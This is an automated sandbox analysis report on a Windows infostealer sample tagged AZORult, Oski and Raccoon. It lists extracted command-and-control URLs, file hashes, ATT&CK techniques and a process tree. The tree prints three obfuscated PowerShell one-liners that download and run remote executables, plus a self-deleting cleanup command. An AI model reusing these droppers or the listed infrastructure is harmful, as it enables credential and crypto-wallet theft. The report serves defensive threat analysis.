azorult | c594188774a2d72b774aca96eb096c493dbe5c9b599bef4601ed404dfe2fab53

Analysis

max time kernel
149s
max time network
151s
platform
windows10_x64
resource
win10-en-20211014
submitted
24-11-2021 07:56

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General

Target

C594188774A2D72B774ACA96EB096C493DBE5C9B599BE.exe
Size

103KB
MD5

f88740451956d87424b84326e9e9dde7
SHA1

a0ccae106a243ad2b1d748512c3e6783b2dd2547
SHA256

c594188774a2d72b774aca96eb096c493dbe5c9b599bef4601ed404dfe2fab53
SHA512

1760df8b84624fbde5b4e6447a030ce31e45bc23fb152c2a72c52b9f652283a5f3bb7557a85620943ddc3fff3c4b7071ae864783f3731c9aea390eaf7068aa06

Score

10^/10

azorult oski raccoon 7632dffeb03da57edca98c8bfb2611868e8eb0a7 discovery infostealer spyware stealer trojan upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://opesjk.ug/asdf.EXE

exe.dropper

http://opesjk.ug/asdf.EXE

Extracted

Family

raccoon

Version

1.8.3-hotfix

Botnet

7632dffeb03da57edca98c8bfb2611868e8eb0a7

Attributes

url4cnc
http://91.219.236.162/brikitiki
http://185.163.47.176/brikitiki
http://193.38.54.238/brikitiki
http://74.119.192.122/brikitiki
http://91.219.236.240/brikitiki
https://t.me/brikitiki

rc4.plain

Extracted

Family

azorult

http://195.245.112.115/index.php

Extracted

Family

oski

colonna.ac.ug

Signatures

Azorult
An information stealer that was first discovered in 2016, targeting browsing history and passwords.
trojan infostealer azorult
Oski
Oski is an infostealer targeting browser data, crypto wallets.
infostealer oski
Raccoon
Simple but powerful infostealer which was very active in 2019.
stealer raccoon

ACProtect 1.3x - 1.4x DLL software 1 IoCs

Detects file using ACProtect software.

Processes:

resource	yara_rule
\Users\Admin\AppData\Local\Temp\dup2patcher.dll	acprotect

Blocklisted process makes network request 4 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

flow pid process

18 3840 powershell.exe
19 2956 powershell.exe
20 588 powershell.exe
23 3840 powershell.exe
Downloads MZ/PE file

flow	pid	process
18	3840	powershell.exe
19	2956	powershell.exe
20	588	powershell.exe
23	3840	powershell.exe

Executes dropped EXE 10 IoCs

Processes:

Patch-nb9.exefar.exevrk.exefsacvbe.exefsacvbe.execbvdsme.exevrk.exefsacvbe.execbvdsme.exefsacvbe.exe

pid	process
1052	Patch-nb9.exe
2308	far.exe
3800	vrk.exe
2480	fsacvbe.exe
3892	fsacvbe.exe
1432	cbvdsme.exe
1288	vrk.exe
1132	fsacvbe.exe
1636	cbvdsme.exe
3500	fsacvbe.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
\Users\Admin\AppData\Local\Temp\dup2patcher.dll	upx

Loads dropped DLL 4 IoCs

Processes:

Patch-nb9.execbvdsme.exe

pid process

1052 Patch-nb9.exe
1636 cbvdsme.exe
1636 cbvdsme.exe
1636 cbvdsme.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Suspicious use of SetThreadContext 4 IoCs

Processes:

vrk.exefsacvbe.execbvdsme.exefsacvbe.exe

description	pid	process	target process
PID 3800 set thread context of 1288	3800	vrk.exe	vrk.exe
PID 2480 set thread context of 1132	2480	fsacvbe.exe	fsacvbe.exe
PID 1432 set thread context of 1636	1432	cbvdsme.exe	cbvdsme.exe
PID 3892 set thread context of 3500	3892	fsacvbe.exe	fsacvbe.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Checks processor information in registry 2 TTPs 1 IoCs
Processor information is often read in order to detect sandboxing environments.

Query Registry
T1012

System Information Discovery
T1082

Processes:

cbvdsme.exe

description ioc process

Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString cbvdsme.exe
Kills process with taskkill 1 IoCs
evasion

Processes:

taskkill.exe

pid process

1312 taskkill.exe
Modifies registry class 1 IoCs

Processes:

cmd.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings cmd.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	cbvdsme.exe

pid	process
1312	taskkill.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings	cmd.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

pid	process
2956	powershell.exe
588	powershell.exe
3840	powershell.exe
3840	powershell.exe
588	powershell.exe
2956	powershell.exe
2956	powershell.exe
588	powershell.exe
3840	powershell.exe

Suspicious behavior: MapViewOfSection 4 IoCs

Processes:

vrk.exefsacvbe.execbvdsme.exefsacvbe.exe

pid process

3800 vrk.exe
2480 fsacvbe.exe
1432 cbvdsme.exe
3892 fsacvbe.exe

pid	process
3800	vrk.exe
2480	fsacvbe.exe
1432	cbvdsme.exe
3892	fsacvbe.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

Processes:

powershell.exepowershell.exepowershell.exetaskkill.exe

description	pid	process
Token: SeDebugPrivilege	2956	powershell.exe
Token: SeDebugPrivilege	3840	powershell.exe
Token: SeDebugPrivilege	588	powershell.exe
Token: SeDebugPrivilege	1312	taskkill.exe

Suspicious use of SetWindowsHookEx 5 IoCs

Processes:

far.exevrk.exefsacvbe.exefsacvbe.execbvdsme.exe

pid process

2308 far.exe
3800 vrk.exe
3892 fsacvbe.exe
2480 fsacvbe.exe
1432 cbvdsme.exe

pid	process
2308	far.exe
3800	vrk.exe
3892	fsacvbe.exe
2480	fsacvbe.exe
1432	cbvdsme.exe

Suspicious use of WriteProcessMemory 61 IoCs

Processes:

C594188774A2D72B774ACA96EB096C493DBE5C9B599BE.execmd.exemshta.exemshta.exemshta.exepowershell.exepowershell.exevrk.exefar.exefsacvbe.execbvdsme.exefsacvbe.execbvdsme.execmd.exe

description	pid	process	target process
PID 2412 wrote to memory of 3080	2412	C594188774A2D72B774ACA96EB096C493DBE5C9B599BE.exe	cmd.exe
PID 2412 wrote to memory of 3080	2412	C594188774A2D72B774ACA96EB096C493DBE5C9B599BE.exe	cmd.exe
PID 2412 wrote to memory of 3080	2412	C594188774A2D72B774ACA96EB096C493DBE5C9B599BE.exe	cmd.exe
PID 3080 wrote to memory of 1936	3080	cmd.exe	mshta.exe
PID 3080 wrote to memory of 1936	3080	cmd.exe	mshta.exe
PID 3080 wrote to memory of 1936	3080	cmd.exe	mshta.exe
PID 3080 wrote to memory of 1268	3080	cmd.exe	mshta.exe
PID 3080 wrote to memory of 1268	3080	cmd.exe	mshta.exe
PID 3080 wrote to memory of 1268	3080	cmd.exe	mshta.exe
PID 3080 wrote to memory of 372	3080	cmd.exe	mshta.exe
PID 3080 wrote to memory of 372	3080	cmd.exe	mshta.exe
PID 3080 wrote to memory of 372	3080	cmd.exe	mshta.exe
PID 3080 wrote to memory of 1052	3080	cmd.exe	Patch-nb9.exe
PID 3080 wrote to memory of 1052	3080	cmd.exe	Patch-nb9.exe
PID 3080 wrote to memory of 1052	3080	cmd.exe	Patch-nb9.exe
PID 1936 wrote to memory of 2956	1936	mshta.exe	powershell.exe
PID 1936 wrote to memory of 2956	1936	mshta.exe	powershell.exe
PID 1936 wrote to memory of 2956	1936	mshta.exe	powershell.exe
PID 372 wrote to memory of 3840	372	mshta.exe	powershell.exe
PID 372 wrote to memory of 3840	372	mshta.exe	powershell.exe
PID 372 wrote to memory of 3840	372	mshta.exe	powershell.exe
PID 1268 wrote to memory of 588	1268	mshta.exe	powershell.exe
PID 1268 wrote to memory of 588	1268	mshta.exe	powershell.exe
PID 1268 wrote to memory of 588	1268	mshta.exe	powershell.exe
PID 588 wrote to memory of 2308	588	powershell.exe	far.exe
PID 588 wrote to memory of 2308	588	powershell.exe	far.exe
PID 588 wrote to memory of 2308	588	powershell.exe	far.exe
PID 3840 wrote to memory of 3800	3840	powershell.exe	vrk.exe
PID 3840 wrote to memory of 3800	3840	powershell.exe	vrk.exe
PID 3840 wrote to memory of 3800	3840	powershell.exe	vrk.exe
PID 3800 wrote to memory of 2480	3800	vrk.exe	fsacvbe.exe
PID 3800 wrote to memory of 2480	3800	vrk.exe	fsacvbe.exe
PID 3800 wrote to memory of 2480	3800	vrk.exe	fsacvbe.exe
PID 2308 wrote to memory of 3892	2308	far.exe	fsacvbe.exe
PID 2308 wrote to memory of 3892	2308	far.exe	fsacvbe.exe
PID 2308 wrote to memory of 3892	2308	far.exe	fsacvbe.exe
PID 3800 wrote to memory of 1432	3800	vrk.exe	cbvdsme.exe
PID 3800 wrote to memory of 1432	3800	vrk.exe	cbvdsme.exe
PID 3800 wrote to memory of 1432	3800	vrk.exe	cbvdsme.exe
PID 3800 wrote to memory of 1288	3800	vrk.exe	vrk.exe
PID 3800 wrote to memory of 1288	3800	vrk.exe	vrk.exe
PID 3800 wrote to memory of 1288	3800	vrk.exe	vrk.exe
PID 3800 wrote to memory of 1288	3800	vrk.exe	vrk.exe
PID 2480 wrote to memory of 1132	2480	fsacvbe.exe	fsacvbe.exe
PID 2480 wrote to memory of 1132	2480	fsacvbe.exe	fsacvbe.exe
PID 2480 wrote to memory of 1132	2480	fsacvbe.exe	fsacvbe.exe
PID 2480 wrote to memory of 1132	2480	fsacvbe.exe	fsacvbe.exe
PID 1432 wrote to memory of 1636	1432	cbvdsme.exe	cbvdsme.exe
PID 1432 wrote to memory of 1636	1432	cbvdsme.exe	cbvdsme.exe
PID 1432 wrote to memory of 1636	1432	cbvdsme.exe	cbvdsme.exe
PID 1432 wrote to memory of 1636	1432	cbvdsme.exe	cbvdsme.exe
PID 3892 wrote to memory of 3500	3892	fsacvbe.exe	fsacvbe.exe
PID 3892 wrote to memory of 3500	3892	fsacvbe.exe	fsacvbe.exe
PID 3892 wrote to memory of 3500	3892	fsacvbe.exe	fsacvbe.exe
PID 3892 wrote to memory of 3500	3892	fsacvbe.exe	fsacvbe.exe
PID 1636 wrote to memory of 3868	1636	cbvdsme.exe	cmd.exe
PID 1636 wrote to memory of 3868	1636	cbvdsme.exe	cmd.exe
PID 1636 wrote to memory of 3868	1636	cbvdsme.exe	cmd.exe
PID 3868 wrote to memory of 1312	3868	cmd.exe	taskkill.exe
PID 3868 wrote to memory of 1312	3868	cmd.exe	taskkill.exe
PID 3868 wrote to memory of 1312	3868	cmd.exe	taskkill.exe

C:\Users\Admin\AppData\Local\Temp\C594188774A2D72B774ACA96EB096C493DBE5C9B599BE.exe
"C:\Users\Admin\AppData\Local\Temp\C594188774A2D72B774ACA96EB096C493DBE5C9B599BE.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2412

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\BFB7.tmp\start.bat" C:\Users\Admin\AppData\Local\Temp\C594188774A2D72B774ACA96EB096C493DBE5C9B599BE.exe"
2⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:3080

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\BFB7.tmp\546897459.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:1936

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$npadigy = Get-Random -Min 3 -Max 4;$coprsqtmd = ([char[]]([char]97..[char]122));$utqfscbxh = -join ($coprsqtmd | Get-Random -Count $npadigy | % {[Char]$_});$gneym = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$ympekafs = $utqfscbxh + $gneym;$lcjfzwmk=[char]0x53+[char]0x61+[char]0x4c;$gvabtxz=[char]0x49+[char]0x45+[char]0x58;$ykrcpi=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL qucmgwsve $lcjfzwmk;$ruhkjw=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;qucmgwsve hbgrst $gvabtxz;$tmyhezgdac=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|hbgrst;qucmgwsve ezyftwlpxijv $ykrcpi;$pgbsknxmfy = $tmyhezgdac + [char]0x5c + $ympekafs;;;;$wftxhgbkup = 'aHR0cDovL2JpdC5kby9lMzNCcg==';$wftxhgbkup=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($wftxhgbkup));$gxhzkab = New-Object $ruhkjw;$ftsouwdr = $gxhzkab.DownloadData($wftxhgbkup);[IO.File]::WriteAllBytes($pgbsknxmfy, $ftsouwdr);ezyftwlpxijv $pgbsknxmfy;;$xvneyqgr = @($vhbkwatp, $yilcegqnaru, $gxdrwlyhtk, $dqkucgyeas);foreach($ylcgumvzn in $xvneyqgr){$null = $_}""
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2956

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\BFB7.tmp\89465456.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:1268

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$npadigy = Get-Random -Min 3 -Max 4;$coprsqtmd = ([char[]]([char]97..[char]122));$utqfscbxh = -join ($coprsqtmd | Get-Random -Count $npadigy | % {[Char]$_});$gneym = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$ympekafs = $utqfscbxh + $gneym;$lcjfzwmk=[char]0x53+[char]0x61+[char]0x4c;$gvabtxz=[char]0x49+[char]0x45+[char]0x58;$ykrcpi=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL bsrucof $lcjfzwmk;$ruhkjw=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;bsrucof pjwasi $gvabtxz;$tmyhezgdac=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|pjwasi;bsrucof vngqajdhxmbksl $ykrcpi;$pgbsknxmfy = $tmyhezgdac + [char]0x5c + $ympekafs;;;;$wftxhgbkup = 'aHR0cDovL29wZXNqay51Zy9hc2RmLkVYRQ==';$wftxhgbkup=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($wftxhgbkup));$gxhzkab = New-Object $ruhkjw;$ftsouwdr = $gxhzkab.DownloadData($wftxhgbkup);[IO.File]::WriteAllBytes($pgbsknxmfy, $ftsouwdr);vngqajdhxmbksl $pgbsknxmfy;;$xvneyqgr = @($vhbkwatp, $yilcegqnaru, $gxdrwlyhtk, $dqkucgyeas);foreach($ylcgumvzn in $xvneyqgr){$null = $_}""
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:588

C:\Users\Public\far.exe
"C:\Users\Public\far.exe"
5⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2308

C:\Users\Admin\AppData\Local\Temp\fsacvbe.exe
"C:\Users\Admin\AppData\Local\Temp\fsacvbe.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3892

C:\Users\Admin\AppData\Local\Temp\fsacvbe.exe
"C:\Users\Admin\AppData\Local\Temp\fsacvbe.exe"
7⤵
- Executes dropped EXE
PID:3500

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\BFB7.tmp\54686754.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:372

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$npadigy = Get-Random -Min 3 -Max 4;$coprsqtmd = ([char[]]([char]97..[char]122));$utqfscbxh = -join ($coprsqtmd | Get-Random -Count $npadigy | % {[Char]$_});$gneym = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$ympekafs = $utqfscbxh + $gneym;$lcjfzwmk=[char]0x53+[char]0x61+[char]0x4c;$gvabtxz=[char]0x49+[char]0x45+[char]0x58;$ykrcpi=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL lskybn $lcjfzwmk;$ruhkjw=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;lskybn lpiftacswu $gvabtxz;$tmyhezgdac=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|lpiftacswu;lskybn gydjurelmf $ykrcpi;$pgbsknxmfy = $tmyhezgdac + [char]0x5c + $ympekafs;;;;$wftxhgbkup = 'aHR0cDovL2JpdC5kby9lMzNCeA==';$wftxhgbkup=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($wftxhgbkup));$gxhzkab = New-Object $ruhkjw;$ftsouwdr = $gxhzkab.DownloadData($wftxhgbkup);[IO.File]::WriteAllBytes($pgbsknxmfy, $ftsouwdr);gydjurelmf $pgbsknxmfy;;$xvneyqgr = @($vhbkwatp, $yilcegqnaru, $gxdrwlyhtk, $dqkucgyeas);foreach($ylcgumvzn in $xvneyqgr){$null = $_}""
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3840

C:\Users\Public\vrk.exe
"C:\Users\Public\vrk.exe"
5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3800

C:\Users\Admin\AppData\Local\Temp\cbvdsme.exe
"C:\Users\Admin\AppData\Local\Temp\cbvdsme.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1432

C:\Users\Admin\AppData\Local\Temp\cbvdsme.exe
"C:\Users\Admin\AppData\Local\Temp\cbvdsme.exe"
7⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
- Suspicious use of WriteProcessMemory
PID:1636

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /pid 1636 & erase C:\Users\Admin\AppData\Local\Temp\cbvdsme.exe & RD /S /Q C:\\ProgramData\\337795354721275\\* & exit
8⤵
- Suspicious use of WriteProcessMemory
PID:3868

C:\Windows\SysWOW64\taskkill.exe
taskkill /pid 1636
9⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1312

C:\Users\Admin\AppData\Local\Temp\fsacvbe.exe
"C:\Users\Admin\AppData\Local\Temp\fsacvbe.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2480

C:\Users\Admin\AppData\Local\Temp\fsacvbe.exe
"C:\Users\Admin\AppData\Local\Temp\fsacvbe.exe"
7⤵
- Executes dropped EXE
PID:1132

C:\Users\Public\vrk.exe
"C:\Users\Public\vrk.exe"
6⤵
- Executes dropped EXE
PID:1288

C:\Users\Admin\AppData\Local\Temp\BFB7.tmp\Patch-nb9.exe
Patch-nb9.exe
3⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1052

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Exfiltration

Command and Control

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
MD5
b751492c41c6f3173d3b6f31c1b9b4eb

SHA1
abc53a2c939b1d774940deb0b888b7b1ba5a3c7b

SHA256
ad95fdf313324ed94997cec026239ea3631bf27298500e5def5941db9493b457

SHA512
afa65279455b98353c6fe6869f2b545231231a953afbb1bf2eaed6b11646c4b4c77c5c18102651ae247a2f0fa18c698d908f4d23ca91581cbf28e32e061cb2e2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
MD5
25f3e8bbd3e88a3d01d8030a8d671e75

SHA1
eb3d002afd1e45b263cf6733da792e57189b5b69

SHA256
4ff47f20c29d59f862ef6b49682cb4f9adfa2e9f0dc67dd46c4825f0153f51ea

SHA512
099fb07bed4e62403978f982b4fe51a1d622c8bb4a220e1c82aa3c7a32835047333f2e75f425dd7b32ddbf3f999c66a831524657e7449ebd4c8b67dd10589e32

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
MD5
fa37562ca9c5cce0e1969d645cd8dbe9

SHA1
3028ffbd09b742083dd4fdc5b709e1ead534027b

SHA256
5ad49080953e546f29df55cae7a07d3d42741d9e25e1fe8d74f2b16bfd352eb3

SHA512
6036b39e1bc0cab913ae0c03c1f72d4e6cf571246efccf471f2e3fc44c264d0cba03fc0840107872303d6c48d8c06059f1ce40242fb7e388cf47ba628fa375fa

Download Submit
C:\Users\Admin\AppData\Local\Temp\BFB7.tmp\54686754.hta
MD5
5e0b83801fa4886fd46875ae3a41b1ac

SHA1
ed43bed966b468947a45639dc658ec2bf19f2809

SHA256
0af01305bb30f2f02814d819a1611b7f19d814ebf23a8b9a4a1573cb94fadba2

SHA512
39747d8cb05c058e10485834e489c1fa4d6e99a95c13f7c2499dc6fe385698c02d222f855277d7ec2f6c30eb4b9446e5c62aa53cf21ca677d23f298f9f94ca27

Download Submit
C:\Users\Admin\AppData\Local\Temp\BFB7.tmp\546897459.hta
MD5
494b1b06327accca63dafccbf8f8a67a

SHA1
d77a33d31f025ceebce9e1a64758cb35f8b7676c

SHA256
21fe0379c4df558b3cd2874200a812af7741e6edfa54b88c852ce1f42e2a683a

SHA512
15a23bcdc5595d48e5e9558a2d70133739e38ba081abfe0d6548af238e2276999377edfa7aa1ff9aceaaa49bafbe08b62a9189ee2f3df8fdcd7af46e03a1d6ea

Download Submit
C:\Users\Admin\AppData\Local\Temp\BFB7.tmp\89465456.hta
MD5
455f7162de92d00a80bf49a51bd559d2

SHA1
53c5d138507941817c8e1702113d7e78b85e74a2

SHA256
261393c726f2eb67fab94ec3031bf2144b8e1c01aaa1ffe2fbb49e502f1a8f8c

SHA512
06b681397236e36ac3b2394e4e948b1da8a74546d5cc9bb4c7bcba0b6d2d385d771a25013dfa9e440e39b1574a2c8ac9e4083d0acdebe025d3649b0d64b8f638

Download Submit
C:\Users\Admin\AppData\Local\Temp\BFB7.tmp\Patch-nb9.exe
MD5
50a3f5f228bcc21b4c3487b882672ebd

SHA1
facd0a9ec9d4deb17519ad4b5c1e1a298c51e8bd

SHA256
d5d2404d1162f37d09d9da2c920250503fcfca10e136fdf376cb2bab552973c9

SHA512
b3bf2726b3404755e608cba5f1c7464640166a93ad29a84a6658a889534d7088a2eaf70df1f9cd0debe104000b51f543313206b231b20a7d283fba0f3697d1ce

Download Submit
C:\Users\Admin\AppData\Local\Temp\BFB7.tmp\Patch-nb9.exe
MD5
50a3f5f228bcc21b4c3487b882672ebd

SHA1
facd0a9ec9d4deb17519ad4b5c1e1a298c51e8bd

SHA256
d5d2404d1162f37d09d9da2c920250503fcfca10e136fdf376cb2bab552973c9

SHA512
b3bf2726b3404755e608cba5f1c7464640166a93ad29a84a6658a889534d7088a2eaf70df1f9cd0debe104000b51f543313206b231b20a7d283fba0f3697d1ce

Download Submit
C:\Users\Admin\AppData\Local\Temp\BFB7.tmp\start.bat
MD5
46ca3b99bf1d8afc13591f1a2ad225c0

SHA1
f22241738695d3f4dac7c29b12e3ef1391bc496f

SHA256
ae721a6eea339043b06026ce890d9805e04afa25c72603647fbfe48c1724f4b7

SHA512
5a8967b3deb1ac3decc43579b4797e14ec0efbb54b5ea6c6126c8cc640788d491237fb4daed01095f896dfab98796f1766c789c664e03da087ed9e80315e0891

Download Submit
C:\Users\Admin\AppData\Local\Temp\cbvdsme.exe
MD5
af4f7630f1e292f5d6a4e7157c662550

SHA1
d74428bab94698e8f71134f2ce0020403e16ccc8

SHA256
b5f94e330b47c0dcf0e748af9e3e9a030d0c678301eb4ba5c391ad650ecf146a

SHA512
b893918c1add4f44a47d5ab20f983bcfdac04c747226f7c6b57f749d0c28942d95818d5b3127bc9e38ba83ac3107fe5ec479920347814ebc1702962428bcceba

Download Submit
C:\Users\Admin\AppData\Local\Temp\cbvdsme.exe
MD5
af4f7630f1e292f5d6a4e7157c662550

SHA1
d74428bab94698e8f71134f2ce0020403e16ccc8

SHA256
b5f94e330b47c0dcf0e748af9e3e9a030d0c678301eb4ba5c391ad650ecf146a

SHA512
b893918c1add4f44a47d5ab20f983bcfdac04c747226f7c6b57f749d0c28942d95818d5b3127bc9e38ba83ac3107fe5ec479920347814ebc1702962428bcceba

Download Submit
C:\Users\Admin\AppData\Local\Temp\cbvdsme.exe
MD5
af4f7630f1e292f5d6a4e7157c662550

SHA1
d74428bab94698e8f71134f2ce0020403e16ccc8

SHA256
b5f94e330b47c0dcf0e748af9e3e9a030d0c678301eb4ba5c391ad650ecf146a

SHA512
b893918c1add4f44a47d5ab20f983bcfdac04c747226f7c6b57f749d0c28942d95818d5b3127bc9e38ba83ac3107fe5ec479920347814ebc1702962428bcceba

Download Submit
C:\Users\Admin\AppData\Local\Temp\fsacvbe.exe
MD5
a78c23397c81f5e49296b6ff5b956928

SHA1
1b6ab1769e58c21c9cd6aa343379fbe5cefda526

SHA256
bc1722809baae20c024e8e9c71c0ff81f6af06989f15518c573fcf2d5a8218df

SHA512
c25b42a52bf81a99cc87ff8afd6c3e23e018e9e0e9b4c2cd4a8a124173f8a7cfbe4cd3a6cab4456bd51411b1fd5a45399a3f499df8d4b4acea8b9143b6d5b1b4

Download Submit
C:\Users\Admin\AppData\Local\Temp\fsacvbe.exe
MD5
a78c23397c81f5e49296b6ff5b956928

SHA1
1b6ab1769e58c21c9cd6aa343379fbe5cefda526

SHA256
bc1722809baae20c024e8e9c71c0ff81f6af06989f15518c573fcf2d5a8218df

SHA512
c25b42a52bf81a99cc87ff8afd6c3e23e018e9e0e9b4c2cd4a8a124173f8a7cfbe4cd3a6cab4456bd51411b1fd5a45399a3f499df8d4b4acea8b9143b6d5b1b4

Download Submit
C:\Users\Admin\AppData\Local\Temp\fsacvbe.exe
MD5
a78c23397c81f5e49296b6ff5b956928

SHA1
1b6ab1769e58c21c9cd6aa343379fbe5cefda526

SHA256
bc1722809baae20c024e8e9c71c0ff81f6af06989f15518c573fcf2d5a8218df

SHA512
c25b42a52bf81a99cc87ff8afd6c3e23e018e9e0e9b4c2cd4a8a124173f8a7cfbe4cd3a6cab4456bd51411b1fd5a45399a3f499df8d4b4acea8b9143b6d5b1b4

Download Submit
C:\Users\Admin\AppData\Local\Temp\fsacvbe.exe
MD5
a78c23397c81f5e49296b6ff5b956928

SHA1
1b6ab1769e58c21c9cd6aa343379fbe5cefda526

SHA256
bc1722809baae20c024e8e9c71c0ff81f6af06989f15518c573fcf2d5a8218df

SHA512
c25b42a52bf81a99cc87ff8afd6c3e23e018e9e0e9b4c2cd4a8a124173f8a7cfbe4cd3a6cab4456bd51411b1fd5a45399a3f499df8d4b4acea8b9143b6d5b1b4

Download Submit
C:\Users\Admin\AppData\Local\Temp\fsacvbe.exe
MD5
a78c23397c81f5e49296b6ff5b956928

SHA1
1b6ab1769e58c21c9cd6aa343379fbe5cefda526

SHA256
bc1722809baae20c024e8e9c71c0ff81f6af06989f15518c573fcf2d5a8218df

SHA512
c25b42a52bf81a99cc87ff8afd6c3e23e018e9e0e9b4c2cd4a8a124173f8a7cfbe4cd3a6cab4456bd51411b1fd5a45399a3f499df8d4b4acea8b9143b6d5b1b4

Download Submit
C:\Users\Admin\AppData\Local\Temp\fsacvbe.exe
MD5
a78c23397c81f5e49296b6ff5b956928

SHA1
1b6ab1769e58c21c9cd6aa343379fbe5cefda526

